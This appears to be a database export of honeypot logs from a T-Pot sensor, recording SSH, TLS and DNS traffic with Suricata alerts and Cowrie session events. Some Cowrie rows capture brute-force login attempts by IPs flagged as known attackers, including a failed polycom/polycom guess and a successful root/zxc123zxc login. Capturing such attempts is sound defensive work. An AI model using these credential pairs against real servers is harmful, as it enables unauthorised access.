32568	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:52:44.526124+03	2021-09-20 15:00:03.649717+03	{"_id": "OQYNA3wBvYTbRNuEJUuj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35780, "timestamp": "2021-09-20T11:52:44.526124", "@timestamp": "2021-09-20T11:52:44.526Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
32569	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:52:44.42765+03	2021-09-20 15:00:03.650716+03	{"_id": "NgYNA3wBvYTbRNuEJEua", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 55363, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 3110, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1651788420513947, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 57579, "timestamp": "2021-09-20T11:52:44.427650Z", "@timestamp": "2021-09-20T11:52:44.427Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
32570	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:52:44.73227+03	2021-09-20 15:00:03.652718+03	{"_id": "NwYNA3wBvYTbRNuEJEua", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 22645, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 11860385213550, "@version": "1", "in_iface": "enp5s0", "src_port": 49925, "dest_port": 53, "timestamp": "2021-09-20T11:52:44.732270Z", "@timestamp": "2021-09-20T11:52:44.732Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
32571	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:52:44.782313+03	2021-09-20 15:00:03.653717+03	{"_id": "PAYNA3wBvYTbRNuEJUuj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35782, "dest_port": 443, "timestamp": "2021-09-20T11:52:44.782313", "@timestamp": "2021-09-20T11:52:44.782Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
32572	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:52:44.822746+03	2021-09-20 15:00:03.654716+03	{"_id": "OwYNA3wBvYTbRNuEJUuj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35782, "timestamp": "2021-09-20T11:52:44.822746", "@timestamp": "2021-09-20T11:52:44.822Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
32573	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:52:31.592834+03	2021-09-20 15:00:03.656716+03	{"_id": "HwYMA3wBvYTbRNuE8Etc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 120.36.157.98:4928 (192.168.176.2:22) [session: 68d41a4e5f92]", "session": "68d41a4e5f92", "@version": "1", "protocol": "ssh", "src_port": 4928, "dest_port": 22, "timestamp": "2021-09-20T11:52:31.592834Z", "@timestamp": "2021-09-20T11:52:31.592Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
32574	120.36.157.98	109.199.241.180	Fatt	2021-09-20 14:52:31.881651+03	2021-09-20 15:00:03.659717+03	{"_id": "JAYMA3wBvYTbRNuE8kvW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "120.36.157.98", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 4928, "dest_port": 22, "timestamp": "2021-09-20T11:52:31.881651", "@timestamp": "2021-09-20T11:52:31.881Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
32575	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:52:33.134398+03	2021-09-20 15:00:03.661718+03	{"_id": "JgYMA3wBvYTbRNuE-Esu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.login.failed", "message": "login attempt [polycom/polycom] failed", "session": "68d41a4e5f92", "@version": "1", "password": "polycom", "username": "polycom", "timestamp": "2021-09-20T11:52:33.134398Z", "@timestamp": "2021-09-20T11:52:33.134Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
32576	157.240.234.35	109.199.241.180	Suricata	2021-09-20 14:52:52.774844+03	2021-09-20 15:00:03.662716+03	{"_id": "QgYNA3wBvYTbRNuEQ0vd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:52:52.701838+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 132}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.35", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.35", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 138272010712462, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 37708, "timestamp": "2021-09-20T11:52:52.774844Z", "@timestamp": "2021-09-20T11:52:52.774Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
32577	157.240.234.35	109.199.241.180	Suricata	2021-09-20 14:52:52.701838+03	2021-09-20 15:00:03.663716+03	{"_id": "QwYNA3wBvYTbRNuEQ0vd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:52:52.701838+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.35", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.35", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 138272010712462, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 37708, "timestamp": "2021-09-20T11:52:52.701838Z", "@timestamp": "2021-09-20T11:52:52.701Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
45015	192.168.20.118	109.199.241.180	Suricata	2021-09-20 16:39:17.713458+03	2021-09-20 16:45:02.414593+03	{"_id": "mwZuA3wBvYTbRNuEr6li", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.118", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:39:17.713458Z", "@timestamp": "2021-09-20T13:39:17.713Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
32578	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:52:34.425725+03	2021-09-20 15:00:03.664716+03	{"_id": "JwYMA3wBvYTbRNuE_EsX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "68d41a4e5f92", "@version": "1", "duration": 2.830246925354004, "timestamp": "2021-09-20T11:52:34.425725Z", "@timestamp": "2021-09-20T11:52:34.425Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32579	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:52:58.787216+03	2021-09-20 15:00:03.665716+03	{"_id": "RgYNA3wBvYTbRNuEWUvf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.session.closed", "message": "Connection lost after 180 seconds", "session": "475974cd9328", "@version": "1", "duration": 180.28247237205505, "timestamp": "2021-09-20T11:52:58.787216Z", "@timestamp": "2021-09-20T11:52:58.787Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
32580	192.168.20.103	109.199.241.180	Suricata	2021-09-20 14:52:41.941459+03	2021-09-20 15:00:03.667717+03	{"_id": "KwYNA3wBvYTbRNuEGEvg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.1", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:52:41.941459Z", "@timestamp": "2021-09-20T11:52:41.941Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
32581	96.78.175.36	109.199.241.180	Fatt	2021-09-20 14:53:04.086003+03	2021-09-20 15:00:03.668717+03	{"_id": "UwYNA3wBvYTbRNuEb0vj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "96.78.175.36", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 48522, "dest_port": 22, "timestamp": "2021-09-20T11:53:04.086003", "@timestamp": "2021-09-20T11:53:04.086Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
32582	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:04.086205+03	2021-09-20 15:00:03.669718+03	{"_id": "VQYNA3wBvYTbRNuEcUtT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:04.086205Z", "@timestamp": "2021-09-20T11:53:04.086Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32583	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:04.94166+03	2021-09-20 15:00:03.671717+03	{"_id": "VgYNA3wBvYTbRNuEcUtT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.login.success", "message": "login attempt [root/zxc123zxc] succeeded", "session": "0d206a306e54", "@version": "1", "password": "zxc123zxc", "username": "root", "timestamp": "2021-09-20T11:53:04.941660Z", "@timestamp": "2021-09-20T11:53:04.941Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	known attacker	\N
32584	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:53:05.31825+03	2021-09-20 15:00:03.672716+03	{"_id": "VwYNA3wBvYTbRNuEc0vM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "96.78.175.36", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48878, "timestamp": "2021-09-20T11:53:05.318250", "@timestamp": "2021-09-20T11:53:05.318Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
